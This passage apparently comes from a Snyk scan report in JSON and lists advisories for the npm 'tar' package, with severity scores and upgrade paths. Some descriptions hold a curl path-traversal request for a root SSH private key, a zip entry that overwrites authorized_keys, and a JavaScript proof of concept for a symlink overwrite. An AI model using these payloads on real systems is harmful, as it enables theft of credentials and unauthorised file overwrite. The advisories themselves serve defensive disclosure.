Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", 